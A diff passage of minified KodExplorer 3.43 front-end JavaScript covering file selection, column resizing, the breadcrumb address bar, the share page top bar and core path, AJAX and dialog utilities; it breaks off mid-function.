t=h.fileListAll(),i=h.fileListSelect(),a=t.length-1,n=0,o=ui.getRowfileNumber(),s=ui.getPagefileNumber(),r=t.index(i.first()),l=t.index(i.last());switch(e){case"up":n=0>=r-o?0:r-o,n=v(n,!1);break;case"left":n=0>=r?0:r-1;break;case"down":n=l+o>=a?a:l+o,n=v(n,!0);break;case"right":n=l>=a?l:l+1;break;case"pageup":n=0>=r-s?0:r-s,n=v(n,!1);break;case"pagedown":n=l+s>=a?a:l+s,n=v(n,!0);break;default:}return t.eq(n)},v=function(e,t){for(var i=h.fileListAll(),a=i.eq(e),n=i.length;0!=a.parents(".hidden").length;){if(t?e++:e--,0>=e||e>=n)return e;a=i.eq(e)}return e},g=function(e){var t,i=h.fileListAll(),a=h.fileListSelect(),n="",o=!1;switch(e.indexOf("shift+")>=0&&(o=!0,e=e.replace("shift+","")),e){case"home":n=a.last(),t=i.first();break;case"end":n=a.first(),t=i.last();break;case"left":n=a.last(),t=_(e);break;case"up":n=a.last(),t=_(e);break;case"right":n=a.first(),t=_(e);break;case"down":n=a.first(),t=_(e);break;case"pageup":n=a.last(),t=_(e);break;case"pagedown":n=a.first(),t=_(e);break;case"all":t=i;break;default:}if(!y(e)){if(o&&""!=n){var s=i.index(n),r=i.index(t);if(s>r){var l=s;s=r,r=l}return x(s,r,i),void 0}b(t)}},b=function(e){0!=e.length&&(ui.fileLight.clear(),e.addClass(Config.SelectClassName),ui.fileLight.select(),ui.fileLight.setInView(),"list_split"==G.user_config.list_type&&1==e.length&&r($(ui.fileLight.fileListSelect()[0])))},y=function(e){var t=$(ui.fileLight.fileListSelect()[0]);if("icon"==G.user_config.list_type)return!1;switch(e){case"left":if("list"==G.user_config.list_type)if(1==t.find(".children_more_cert.cert_open").length)t.find(".children_more_cert").removeClass("cert_open"),t.next().addClass("hidden");else{var i=t.parent(".children_list").prev(".file");b(i)}else if("list_split"==G.user_config.list_type){var i=t.parents(".split_box").prev().find(".select_split_parent");b(i)}break;case"right":if("list"==G.user_config.list_type)1==t.find(".children_more_cert").length&&(ui.fileContent.pathChildrenTree(t),t.find(".children_more_cert").addClass("cert_open"),t.next().removeClass("hidden"));else if("list_split"==G.user_config.list_type){var i=t.parents(".split_box").next().find(".file:eq(0)");b(i)}break;default:return!1}return!0},x=function(e,t,i){if("desktop"==Config.pageApp)return k(e,t,i);ui.fileLight.clear();for(var a=e;t>=a;a++)$(i[a]).addClass(Config.SelectClassName);ui.fileLight.select()},k=function(e,t,i){var a=ui.getColfileNumberDesktop(),n=Math.ceil(h.fileListAll().length/a),e={row:e%a,col:parseInt(e/a)},t={row:t%a,col:parseInt(t/a)};if(t.row<e.row){var o=t;t=e,e=o}var s=function(e,t){var n=t*a+e;$(i[n]).addClass(Config.SelectClassName)};ui.fileLight.clear();for(var r=e.row;t.row>=r;r++){var l=0,c=n;r==e.row&&(l=e.col),r==t.row&&(c=t.col);for(var d=l;c>=d;d++)s(r,d)}ui.fileLight.select()};return{init:function(){a(),l(),p(),u()},isDraging:function(){return t},selectSplit:c,selectPos:g}}),define("app/src/explorer/fileListResize",[],function(){var e={filename:250,filetype:80,filesize:80,filetime:150,explorer_left_tree_width:199,editor_left_tree_width:199},t={filename:150,filetype:60,filesize:60,filetime:120,explorer_left_tree_width:2,editor_left_tree_width:2},i=e,a=function(){if(LocalData.get("resize_config"))i=jsonDecode(LocalData.get("resize_config"));else{G.user_config.resize_config!==void 0&&(i=jsonDecode(htmlDecode(G.user_config.resize_config)));var a=jsonEncode(i);LocalData.set("resize_config",a)}$.each(e,function(a){(!i[a]||i[a]<t[a])&&(i[a]=e[a])})},n=function(){if(!r()){var e=jsonEncode(i);LocalData.set("resize_config",e),$.get("index.php?setting/set&k=resize_config&v="+e)}},o=function(e){if("icon"!=G.user_config.list_type){e||(e=i);var a="",n=0;$.each(e,function(e,i){0==e.indexOf("file")&&(t[e]>=i&&(i=t[e]),n+=i,a+=".fileList_list .file ."+e+",#main_title ."+e+"{width:"+i+"px;}")}),a+=".fileList_list .file{width:"+(n+50)+"px;}",$.setStyle(a,"header_resize_width")}},s=function(a,o,s){if(!$(".frame-left").is(":hidden")){var r=Config.pageApp+"_left_tree_width",l=$.extend(!0,{},i);l[r]+=a,l[r]<=t[r]&&(l[r]=t[r]);var c=l[r],d=$(".frame-left"),p=$(".frame-resize"),u=$(".frame-right"),f=e[r];if(c>f-8&&f+8>c&&(c=f+1),s){var h=400;d.animate({width:c},h),p.animate({left:c-5},h),u.animate({left:c},h)}else d.css("width",c),p.css("left",c-5),u.css("left",c);ui.setStyle!==void 0&&ui.setStyle(),o&&(i=l,n())}},r=function(){return void 0!=$.getUrlParam("type")?!0:!1},l=function(e,a,s){var r=$.extend(!0,{},i);r[e]+=a,o(r),s&&(i=r,$.each(i,function(e,a){t[e]>=a&&(i[e]=t[e])}),n())},c=function(){$("#main_title").hasClass("bind_init")||(o(i),$("#main_title").addClass("bind_init"),$.each(e,function(e){$("#main_title ."+e+"_resize").drag({start:function(){},move:function(t){l(e,t,!1)},end:function(t){l(e,t,!0)}})}))},d=function(){var e=$(".frame-resize");e.drag({start:function(){e.addClass("active"),$(".resizeMask").css("display","block")},move:function(e){s(e,!1,!1)},end:function(t){s(t,!0,!1),e.removeClass("active"),$(".resizeMask").css("display","none")}})},p=function(){var e=G.user_config.file_icon_size;e||(e="75"),h(e,!1),u(e)},u=function(e){$(".set-file-icon-size .file-icon-size").removeClass("selected");for(var t=[["40","box-size-smallx"],["60","box-size-small"],["80","box-size-default"],["150","box-size-big"],["220","box-size-bigx"]],i=10,a="",n=0;t.length>n;n++){var o=parseInt(t[n][0]);if(e>=o-i&&o+i>=e){a=t[n][1];break}}""!=a&&$("."+a).addClass("selected")},f=function(e){G.user_config.file_icon_size=e,u(e),$.get("index.php?setting/set&k=file_icon_size&v="+e)},h=function(e,t){var i=e,a=105,n=30,o=250;"desktop"==Config.pageApp&&(n=50,o=120),i=n>=i?n:i,i=i>=o?o:i;var s=(e-n)*a/(o-n),r=20,l=10,c=parseInt(i),d=c+2*r-l+5,p=c-l,u=c-l,h=.4*c,m=c+3*r-l,_=".fileList_icon div.file{height:"+d+"px;width:"+c+"px;}";"desktop"==Config.pageApp&&(d-=5,_="div.fileList_icon div.file{height:"+d+"px;width:"+c+"px;}"),$.browser.mozilla&&(u-=4);var v="div.fileList_icon div.file{max-height:"+m+"px;}"+_+" .fileList_icon .meta_info{height:"+h+"px;width:"+h+"px; margin-right:"+.16*h+"px;margin-top:-"+1.1*h+"px;} .fileList_icon div.file .filename{width:"+c+"px;} .fileList_icon div.file .filename #pathRenameTextarea, .fileList_icon div.file .filename .newfile{width:"+c+"px;} .fileList_icon div.file .ico{padding-left:"+l/2+"px;height:"+u+"px;width:"+p+"px} .fileList_icon div.file .ico.picasaImage{width:"+p+"px;padding-left:"+l/2+"px;overflow:hidden;}";$.setStyle(v,"file_icon_resize"),$(".slider_handle").css("top",s),t&&f(e)},m=function(){var e,t=$(".slider_handle");$(".set_icon_size_slider").bind("click",function(e){return stopPP(e),!1});var i=function(t){var i=0,a=105,n=30,o=250,s=e+t;s=i>s?i:s,s=s>a?a:s;var r=parseInt(s/a*(o-n)+n);return h(r,!1),r};t.drag({start:function(){t.addClass("active"),e=parseInt(t.css("top"))},move:function(e,t){i(t)},end:function(e,a){t.removeClass("active"),f(i(a),!0)}});var a=$(".slider_bg");$(".slider_bg").unbind("click").bind("click",function(t){var n=t.clientY-a.offset().top;e=0,i(n)})},_=function(){var e=function(e,t){var i=e.parent(),a=$(".split_box").index(i),n=parseInt(i.data("before_width"))+t;if(!(150>n)){$($(".split_line").get(a)).css("width",n),i.css("width",n),$(".split_box:gt("+a+")").each(function(){$(this).hasClass("is_drag_split")||$(this).css("left",parseInt($(this).data("before_left"))+t+"px")});var o=[];$(".split_box").each(function(){o.push({left:$(this).css("left"),width:$(this).width()})}),LocalData.set("split_box_size",jsonEncode(o))}};$(".bodymain .fileList_list_split .split_drag").drag({start:function(e,t){var i=t.parent();i.addClass("is_drag_split").data("before_width",i.width()),$(".split_box,.split_line").each(function(){$(this).data("before_left",$(this).css("left"))})},move:function(t,i,a,n){e(n,t)},end:function(e,t,i,a){a.parent().removeClass("is_drag_split")}},!0),$(".file.select_split_parent").removeClass("select_split_parent"),$(".split_box").each(function(){$('.file[data-path="'+$(this).attr("data-path")+'"]').addClass("select_split_parent")}),v()},v=function(){var e=jsonDecode(LocalData.get("split_box_size")),t=0;e||(e=[]);var i=function(i,a){var n=e[a];n||(n={width:250,left:t}),t+=n.width+1,i.css({width:n.width+"px",left:n.left})};t=0,$(".split_box").each(function(e){i($(this),e)}),t=0,$(".split_line").each(function(e){i($(this),e)}),$(".bodymain").scrollLeft(1e5)};return{init:function(){a(),r()&&(i=e),o(i),d(),s(0,!1,!0),m()},initFileSize:p,bindSplitResize:_,bindHeaderResize:c,setFileIconSize:h}}),define("app/src/explorer/headerAddress",[],function(){var e=function(){$("#yarnball li a").die("click").live("click",function(e){var t=$(this).attr("data-path");n(t),stopPP(e)}),$("#yarnball").die("click").live("click",function(){return $("#yarnball").css("display","none"),$("#yarnball_input").css("display","block"),$("#yarnball_input input").focus(),!0});var e=$("#yarnball_input input");e.die("blur").live("blur",function(){n(e.val())}).keyEnter(function(){n(e.val())}),$(".header-right input").keyEnter(function(){core.search($(".header-right input").val(),G.this_path)}),$(".header-right input").bind("keyup focus",function(){ui.path.setSearchByStr($(this).val())}),$(".header-content a,.header-content button").click(function(){var e=$(this).attr("id");switch(e){case"history_back":ui.path.history.back();break;case"history_next":ui.path.history.next();break;case"refresh":ui.f5(!0,!0),ui.tree.init();break;case"home":ui.path.list(G.myhome);break;case"fav":ui.path.pathOperate.fav({path:G.this_path,type:"folder",name:$("ul.yarnball li:last .title_name").html()});break;case"goto_father":o();break;case"setting":core.setting();break;case"search":core.search($(".header-right input").val(),G.this_path);break;default:}return!0})},t=function(e){var t=G.this_path;a(G.this_path),$("#yarnball_input").css("display","none"),$("#yarnball").css("display","block");var n=function(e){var t='<li class="yarnlet first"><a title="@1@" data-path="@1@" style="z-index:{$2};"><span class="left-yarn"></span>{$3}</a></li>\n',i='<li class="yarnlet "><a title="@1@" data-path="@1@" style="z-index:{$2};">{$3}</a></li>\n';e=e.replace(/\/+/g,"/");var a=e.split("/");""==a[a.length-1]&&a.pop();var n=a[0]+"/",o=t.replace(/@1@/g,n),s=a[0],r="";if(G.json_data.info&&G.json_data.info.path_type&&""!=a[0]){var l=core.getPathIcon(G.json_data.info,G.json_data.info.name);r='<span class="address_ico">'+core.iconSmall(l.icon)+"</span>",s=l.name}o=o.replace("{$2}",a.length),o=o.replace("{$3}",r+'<span class="title_name">'+htmlEncode(s)+"</span>");for(var c=o,d=1,p=a.length-1;a.length>d;d++,p--)n+=htmlEncode(a[d])+"/",o=i.replace(/@1@/g,n),o=o.replace("{$2}",p),o=o.replace("{$3}",'<span class="title_name">'+htmlEncode(a[d])+"</span>"),c+=o;return'<ul class="yarnball">'+c+"</ul>"};void 0==e&&$("#yarnball").html(n(t)),i()},i=function(){$(".yarnball").stop(!0,!0);var e=$("#yarnball").innerWidth(),t=0;$("#yarnball li a").each(function(){t+=$(this).outerWidth()+parseInt($(this).css("margin-left"))+5});var i=e-t;0>=i?$(".yarnball").css("width",t+"px").css("left",i+"px"):$(".yarnball").css({left:"0px",width:e+"px"})},a=function(e){var t=$("#yarnball_input .path");if(void 0==e){var i=t.val();return i=rtrim(core.pathClear(i))+"/"}t.val(e)},n=function(e,i){ui.path.list(e),t(i)},o=function(){var e=a();if("/"==e||-1==e.indexOf("/"))return Tips.tips(LNG.path_is_root_tips,"warning"),void 0;var i=core.pathFather(e);ui.path.list(i),t()};return{init:e,addressSet:t,resetWidth:i,gotoFather:o}}),define("app/share_common/topbar",[],function(){var e="index.php?share/fileDownload&user="+G.user+"&sid="+G.sid,t="index.php?share/fileProxy&user="+G.user+"&sid="+G.sid;"1"==G.param_rewrite&&(e=e.replace("index.php?","index.php/"));var i=function(){"file"!=G.share_info.type&&G.path!==void 0?(t+="&path="+G.path,e+="&path="+G.path,$(".btn.button_my_share").hide(),$(".share_info_user .btn-group").show()):($(".btn.button_my_share").show(),$(".share_info_user .btn-group").hide()),"file"==G.share_info.type&&($(".btn.button_my_share").hide(),$(".share_info_user .btn-group").show()),"1"==G.share_info.not_download&&(e="javascript:Tips.tips('"+LNG.share_not_download_tips+"',false);"),$(".share_info_user").removeClass("hidden"),$(".btn_download").attr("href",e);var i=date("Y/m/d H:i:s",G.share_info.mtime);$(".topbar .time").html(i),"file"==G.share_info.type&&$(".topbar .size").html(G.share_info.size),$(".topbar .info").html(LNG.share_view_num+G.share_info.num_view+" "+LNG.share_download_num+G.share_info.num_download),$("#button_share").die("click").live("click",function(){share()})};return{init:i}}); \ No newline at end of file +/*! power by kodexplorer ver3.43(2017-04-12) [build 1491993755092] */ +define("app/src/share_explorer/main",["lib/jquery-lib","lib/util","lib/ztree/ztree","lib/contextMenu/jquery-contextMenu","lib/artDialog/jquery-artDialog","lib/picasa/picasa","../../common/core","../../share_common/rightMenu","../../common/taskTap","../explorer/ui","../explorer/fileContent","../../common/tree","../../common/pathOperate","../../common/pathOpen","../../common/myPlayer","../explorer/path","../explorer/fileLight","../explorer/fileSelect","../explorer/fileListResize","../explorer/headerAddress","../../share_common/topbar"],function(e){Config={BodyContent:".bodymain",FileBoxSelector:".fileContiner",FileBoxClass:".fileContiner .file",FileBoxClassName:"file",FileBoxTittleClass:".fileContiner .title",SelectClass:".fileContiner .select",SelectClassName:"select",TypeFolderClass:"folderBox",TypeFileClass:"fileBox",HoverClassName:"hover",FileOrderAttr:"number",TreeId:"folderList",pageApp:"explorer",treeAjaxURL:"index.php?share/treeList&app=folder&user="+G.user+"&sid="+G.sid,AnimateTime:200},e("lib/jquery-lib"),e("lib/util"),e("lib/ztree/ztree"),e("lib/contextMenu/jquery-contextMenu"),e("lib/artDialog/jquery-artDialog"),e("lib/picasa/picasa"),core=e("../../common/core"),rightMenu=e("../../share_common/rightMenu"),TaskTap=e("../../common/taskTap"),ui=e("../explorer/ui"),ui.tree=e("../../common/tree"),ui.path=e("../explorer/path"),ui.fileLight=e("../explorer/fileLight"),ui.fileSelect=e("../explorer/fileSelect"),ui.fileListResize=e("../explorer/fileListResize"),ui.headerAddress=e("../explorer/headerAddress");var t=e("../../share_common/topbar");$(document).ready(function(){function i(e){var t=RegExp("(^|&)"+e+"=([^&]*)(&|$)"),i=window.location.search.substr(1).match(t);return null!=i?unescape(i[2]):null}core.init(),ui.init(),ui.fileLight.init(),ui.fileSelect.init(),ui.headerAddress.init(),ui.tree.init(),TaskTap.init(),rightMenu.initExplorer(),t.init(),ui.fileListResize.init(),ui.fileListResize.initFileSize(),$(".init_loading").fadeOut(450).addClass("pop_fadeout"),$(".frame-main .frame-left #folderList").css("bottom","0px"),"file_list"==i("type")&&($(".menu-theme-list").remove(),$(".tools .tools-left").remove(),$(".header-middle").prependTo(".tools").css("padding-top","3px"),$("#yarnball").addClass("btn-left-radius")),$(".kod_path_tool #upload").hide(),G.share_info.can_upload&&($(".kod_path_tool #upload").show(),e.async("lib/webuploader/webuploader-min",function(){core.uploadInit()})),$("#fav").remove(),ui.path.show_file=function(){var e="./index.php?share/file&sid="+G.sid+"&user="+G.user+"&path="+urlEncode(ui.path.makeParam().path);window.open(e)}})}),define("app/common/core",[],function(require,exports){tpl_search_box=require("./tpl/search.html"),tpl_search_list=require("./tpl/search_list.html"),tpl_upload=require("./tpl/upload.html"),tpl_file_info=require("./tpl/fileinfo/file_info.html"),tpl_path_info=require("./tpl/fileinfo/path_info.html"),tpl_zipview=require("./tpl/zipview.html");var search=require("./core.search"),tools=require("./core.tools"),upload=require("./core.upload"),api=require("./core.api"),playSound=require("./core.playSound"),zipView=require("./core.zipView");pathHashEncode=function(e){return hashEncode(e)},pathHashDecode=function(e){return hashDecode(e)};var initFirst=function(){if(window.require=require,template.config("escape",!1),template.config("compress",!0),template.helper("core",core),template.helper("window",window),"undefined"!=typeof G&&(1!=G.is_root&&$(".menu_system_setting").remove(),G.is_root||1==AUTH["system_member:get"]||1==AUTH["system_group:get"]||$(".menu_system_group").remove(),G.user_config&&"0"==G.user_config.animate_open&&($.dialog.defaults.animate=!1),resetHost()),$("html").bind("click",function(e){if(0==$(e.target).parents(".context-menu-list").length)try{rightMenu.hidden()}catch(e){}}),$.dialog.defaults.animate&&loadRipple(["a","button",".context-menu-item","#picker",".menuShareButton",".menuRecycleButton",".section .list"],[".disabled",".disable",".ztree",".disable-ripple"]),$("a,img").attr("draggable","false"),$.ajaxSetup({headers:{"X-CSRF-TOKEN":Cookie.get("X-CSRF-TOKEN")}}),$(".common_footer [forceWap]").click(function(){var e=$(this).attr("forceWap");Cookie.set("forceWap",e),window.location.reload()}),core.setSkinDiy(),core.tools.init(),playserSupport(),"array"==$.type(window.kodReady))for(var e=0;window.kodReady.length>e;e++)window.kodReady[e]();titleTips()},resetHost=function(){var e=window.location.port?":"+window.location.port:"";G.web_host=window.location.protocol+"//"+window.location.hostname+e+"/",G.app_host=rtrim(G.web_host,"/")+window.location.pathname.replace("index.php","")},playserSupport=function(){var e={ie:{music:["mp3","m4a","aac"],movie:["mp4","m4v","flv","mov","f4v"]},chrome:{music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"]}},t=!!window.ActiveXObject||"ActiveXObject"in window,i="chrome";t&&(i="ie"),core.filetypes.music=e[i].music,core.filetypes.movie=e[i].movie},titleTips=function(){isWap()||require.async(["lib/poshytip/jquery.poshytip.js","lib/poshytip/skin.css"],function(){var e=$("[title]");e.poshytip({className:"ptips-skin",liveEvents:!0,slide:!1,alignTo:"cursor",alignX:"right",alignY:"bottom",showAniDuration:150,hideAniDuration:200,offsetY:10,offsetX:20,showTimeout:function(){var e=1500;return $(this).attr("title-timeout")&&(e=parseInt($(this).attr("title-timeout"))),e},content:function(){var e=$(this).data("title.poshytip");if($(this).attr("title-data")){var t=$($(this).attr("title-data"));e=t.is("input")||t.is("textarea")?t.val():t.html()}return e=e?e:"",e.replace(/\n/g,"<br/>")}}),$("body").bind("mousedown click",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()}),$("input,textarea").live("focus",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()})})};return{search:search,init:initFirst,serverDwonload:upload.serverDwonload,upload:upload.upload,uploadInit:upload.init,playSound:playSound.playSound,playSoundFile:playSound.playSoundFile,zipView:function(e){new zipView(e)},tools:tools,api:api,filetypes:{image:["jpg","jpeg","png","bmp","gif","ico","svg","cur","webp"],music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"],doc:["doc","docx","docm","xls","xlsx","xlsb","xlsm","ppt","pptx","pptm"],archive:["zip","tar","gz","tgz","ipa","apk","rar","7z","iso","bz2","zx","z","arj"],archive_list:["zip","tar","gz","tgz","ipa","apk","rar","7z","iso","zx","z","arj"],text:["txt","textile","oexe","inc","csv","log","asc","tsv","lnk","url","webloc","meta","localized","xib","xsd","storyboard","plist","csproj","pch","pbxproj","local","xcscheme","manifest","vbproj","strings","jshintrc","sublime-project","readme","changes","changelog","version","license","changelog","abap","abc","as","asp","aspx","ada","adb","htaccess","htgroups","htgroups","htpasswd","asciidoc","adoc","asm","a","ahk","bat","cmd","cpp","c","cc","cxx","h","hh","hpp","ino","c9search_results","cirru","cr","clj","cljs","cbl","cob","coffee","cf","cson","cakefile","cfm","cs","css","curly","d","di","dart","diff","patch","dockerfile","dot","dummy","dummy","e","ge","ejs","ex","exs","elm","erl","hrl","frt","fs","ldr","ftl","gcode","feature",".gitignore","glsl","frag","vert","gbs","go","groovy","haml","hbs","handlebars","tpl","mustache","hs","hx","html","hta","htm","xhtml","eex","html.eex","erb","rhtml","html.erb","ini","inf","conf","cfg","prefs","io","jack","jade","java","ji","jl","jq","js","jsm","json","jsp","jsx","latex","ltx","bib","lean","hlean","less","liquid","lisp","ls","logic","lql","lsl","lua","lp","lucene","Makefile","makemakefile","gnumakefile","makefile","ocamlmakefile","make","md","markdown","mask","matlab","mz","mel","mc","mush","mysql","nix","nsi","nsh","m","mm","ml","mli","pas","p","pl","pm","pgsql","php","phtml","shtml","php3","php4","php5","phps","phpt","aw","ctp","module","ps1","praat","praatscript","psc","proc","plg","prolog","properties","proto","py","r","cshtml","rd","rhtml","rst","rb","ru","gemspec","rake","guardfile","rakefile","gemfile","rs","sass","scad","scala","scm","sm","rkt","oak","scheme","scss","sh","bash","bashrc","sjs","smarty","tpl","snippets","soy","space","sql","sqlserver","styl","stylus","svg","swift","tcl","tex","toml","twig","swig","ts","typescript","str","vala","vbs","vb","vm","v","vh","sv","svh","vhd","vhdl","wlk","wpgm","wtest","xml","rdf","rss","wsdl","xslt","atom","mathml","mml","xul","xbl","xaml","xq","yaml","yml","vcproj","vcxproj","filters","cer","reg","config","pem","srt","ass"],bindary:["bin","hex","zip","pdf","swf","gzip","rar","arj","tar","gz","cab","tbz","tbz2","lzh","uue","bz2","ace","exe","so","dll","chm","rtf","odp","odt","pages","class","psd","ttf","fla","7z","dmg","iso","dat","ipa","lib","a","apk","so","o"]},fileOpenMode:{ini:["inc","inf","strings"],xml:["xib","xsd","storyboard","plist","csproj","pch","pbxproj","xcscheme","config","vcproj","vcxproj","filters","webloc"],json:["oexe","jshintrc","sublime-project"],markdown:["readme","changes","version","license","changelog"]},getPathIcon:function(e,t){if(t=void 0==t?"":t,"string"==$.type(e)){var i=trim(trim(e),"/");if(e={},"{"!=i.substring(0,1)||i.split("/").length>1)return{icon:"",name:""};e.path_type=i.match(/\{.*\}/),e.id=i.split(":")[1]}var n={};n[G.KOD_USER_SHARE]={icon:"userSelf",name:LNG.my_share},n[G.KOD_GROUP_PATH]={icon:"groupSelfOwner"},n[G.KOD_GROUP_SHARE]={icon:"groupGuest"},n[G.KOD_USER_RECYCLE]={icon:"recycle",name:LNG.recycle},n[G.KOD_USER_FAV]={icon:"treeFav",name:LNG.fav},n[G.KOD_GROUP_ROOT_SELF]={icon:"groupSelfRoot",name:LNG.my_kod_group},n[G.KOD_GROUP_ROOT_ALL]={icon:"groupRoot",name:LNG.kod_group};var a=n[e.path_type];return e.path_type==G.KOD_USER_SHARE&&G.user_id!=e.id?a={icon:"user",name:t}:e.path_type==G.KOD_GROUP_PATH&&"owner"==e.role&&(a={icon:"groupSelfOwner"}),void 0==a&&(a={icon:"",name:""}),void 0==a.name&&(a.name=t),a},isSystemPath:function(e){var e=trim(trim(e),"/");if(void 0==e||"{"!=e.substring(0,1)||e.split("/").length>1)return!1;var t=e.match(/\{.*\}/),i=[G.KOD_USER_SHARE,G.KOD_GROUP_SHARE,G.KOD_USER_RECYCLE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL],n=!1;return-1!==$.inArray(t[0],i)&&(n=!0),n},pathPre:function(e){if(e=trim(trim(e),"/"),void 0==e||"{"!=e.substring(0,1))return"";var t=e.match(/\{.*\}/);return t[0]},contextmenu:function(e){try{rightMenu.hidden()}catch(t){}var t=e||window.event;return t?t&&$(t.target).is("textarea")||$(t.target).is("input")||$(t.target).is("p")||$(t.target).is("pre")||0!=$(t.target).parents(".can_right_menu").length||0!=$(t.target).parents(".topbar").length||0!=$(t.target).parents(".edit_body").length||0!=$(t.target).parents(".aui_state_focus").length?!0:!1:!0},pathThis:function(e){if(!e||"/"==e)return"";var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/"),n=t.substr(i+1);if(0==n.search("fileProxy")){n=urlDecode(n.substr(n.search("&path=")));var a=n.split("/");n=a[a.length-1],""==n&&(n=a[a.length-2])}return n},pathClear:function(e){if(!e)return"";var t=e.replace(/\\/g,"/");return t=t.replace(/\/+/g,"/"),t=t.replace(/\.+\//g,"/")},pathFather:function(e){var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/");return t.substr(0,i+1)},pathExt:function(e){var t=trim(e,"/");return-1!=t.lastIndexOf("/")&&(t=t.substr(t.lastIndexOf("/")+1)),-1!=t.lastIndexOf(".")?t.substr(t.lastIndexOf(".")+1).toLowerCase():t.toLowerCase()},path2url:function(e,t){if("http"==e.substr(0,4))return e;void 0==t&&(t=!0);var i,n=this.pathClear(e);this.pathExt(n);var a=function(e){if(!e)return"";var t=urlEncode(e);return t=t.replace(/%2F/g,"/")};return G.is_root&&t&&n.substring(0,G.web_root.length)==G.web_root?i=G.web_host+a(n.replace(G.web_root,"")):(i=G.app_host+"index.php?explorer/fileProxy&access_token="+G.access_token+"&path="+urlEncode(n),G.share_page!==void 0&&(i=G.app_host+"index.php?share/fileProxy&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(n))),i},pathReadable:function(e){if("object"!=typeof G.json_data)return!0;var t;t=G.json_data.filelist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;t=G.json_data.folderlist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;return!0},pathCurrentWriteable:function(){return"editor"==Config.pageApp?!1:G.json_data.info?G.json_data.info.can_upload:!1},authCheck:function(e,t){return G.is_root?!0:AUTH.hasOwnProperty(e)?AUTH[e]?!0:(void 0==t&&(t=LNG.no_permission),Tips.tips(t,!1),!1):!0},ajaxError:function(e){var t=e.responseText,i=$.dialog.list.ajaxErrorDialog;return Tips.close(LNG.system_error,!1),"<!--user login-->"==t.substr(0,17)?(setTimeout(function(){var e=ShareData.frameTop();e.location.reload()},500),void 0):(0==e.status&&""==t&&(t="网络连接错误 (net::ERR_CONNECTION_RESET),连接已重置<br/>请联系主机商或网管,检查防火墙配置!"),t='<div class="ajaxError">'+t+"</div>",i?i.content(t):$.dialog({id:"ajaxErrorDialog",padding:0,width:"60%",height:"50%",fixed:!0,resize:!0,ico:core.icon("error"),title:"ajax error",content:t}),void 0)},fileGet:function(e,t,i){var n="filename";"http"==e.substr(0,4)&&(n="file_url");var a="./index.php?editor/fileGet&"+n+"="+urlEncode(e);G.share_page!==void 0&&(a="./index.php?share/fileGet&user="+G.user+"&sid="+G.sid+"&"+n+"="+urlEncode(e)),"./index.php?"==e.substr(0,"./index.php?".length)&&(a=e),$.ajax({url:a,dataType:"json",error:function(e,t,n){core.ajaxError(e,t,n),"function"==typeof i&&i()},success:function(e){"function"==typeof t&&t(e.data.content,e,a)}})},fileInfo:function(e,t){var i="index.php?explorer/pathInfo";G.share_page!==void 0&&(i="index.php?share/pathInfo&user="+G.user+"&sid="+G.sid),$.ajax({url:i,type:"POST",dataType:"json",data:e,error:core.ajaxError,success:function(e){"function"==typeof t&&t(e)}})},fileLink:function(e,t){var i='list=[{"type":"file","path":"'+urlEncode(e)+'"}]&viewPage=1';this.fileInfo(i,function(e){var i=e.code?e.data.download_path:!1;return i?("function"==typeof t&&t(i),void 0):(Tips.tips(LNG.no_permission_action+"==>"+LNG.group_role_pathinfo,!1),void 0)})},setting:function(e){void 0==e&&(e=G.is_root?"system":"user"),ShareData.frameTop("Opensetting_mode")?ShareData.frameTop("Opensetting_mode",function(t){t.Setting.setGoto(e),$.dialog.list.setting_mode.display(!0)}):$.dialog.open("./index.php?setting#"+e,{id:"setting_mode",fixed:!0,ico:core.icon("setting"),resize:!0,title:LNG.setting,width:1100,height:660})},copyright:function(){var e=require("./tpl/copyright.html"),t=template.compile(e),i=ShareData.frameTop();i.art.dialog({id:"copyright_dialog",bottom:0,right:0,simple:!0,resize:!1,title:LNG.about+" kod",width:425,padding:"0",fixed:!0,content:t({LNG:LNG,G:G})}),i.$(".copyright_dialog").addClass("animated-700 zoomIn")},qrcode:function(e,t){"./"==e.substr(0,2)&&(e=G.app_host+e.substr(2));var i="./index.php?user/qrcode&url="+quoteHtml(urlEncode(e)),n="<a href='"+quoteHtml(e)+"' s='"+e+"' target='_blank'><img src='"+i+"' style='border:1px solid #eee;'/></a>";$.dialog({follow:t,fixed:!0,resize:!1,title:LNG.qrcode,padding:30,content:n})},appStore:function(){var e=ShareData.frameTop();e.$.dialog.open("./index.php?app",{id:"app_store",fixed:!0,ico:core.icon("appStore"),resize:!0,title:LNG.app_store,width:900,height:550})},openWindow:function(e){var t=ShareData.frameTop(),i=t.$.dialog.open(e,{fixed:!0,resize:!0,width:"80%",height:"75%"});return i},openDialog:function(e,t,i,n){if(e){void 0==n&&(n="openDialog"+UUID());var a="<iframe frameborder='0' name='Open"+n+"' src='"+htmlEncode(e)+"' style='width:100%;height:100%;border:0;'></iframe>",o=ShareData.frameTop(),s=o.$.dialog({id:n,fixed:!0,title:i,ico:t,width:"75%",height:"70%",padding:0,content:a,resize:!0});return s}},openApp:function(app){if("url"==app.type){var icon=app.icon;-1==app.icon.search(G.static_path)&&"http"!=app.icon.substring(0,4)&&(icon=G.static_path+"images/file_icon/icon_app/"+app.icon),"number"!=typeof app.width&&-1===app.width.search("%")&&(app.width=parseInt(app.width)),"number"!=typeof app.height&&-1===app.height.search("%")&&(app.height=parseInt(app.height)),app.width||(app.width="90%"),app.height||(app.height="70%");var dialog_info={resize:app.resize,fixed:!0,ico:core.iconSrc(icon),title:app.name.replace(".oexe",""),width:app.width,height:app.height,simple:app.simple,padding:0},top=ShareData.frameTop();"swf"==core.pathExt(app.content)?(dialog_info.content=core.createFlash(app.content),top.$.dialog(dialog_info)):top.$.dialog.open(app.content,dialog_info)}else{var exec=app.content;eval("{"+exec+"}")}},update:function(){setTimeout(function(){var 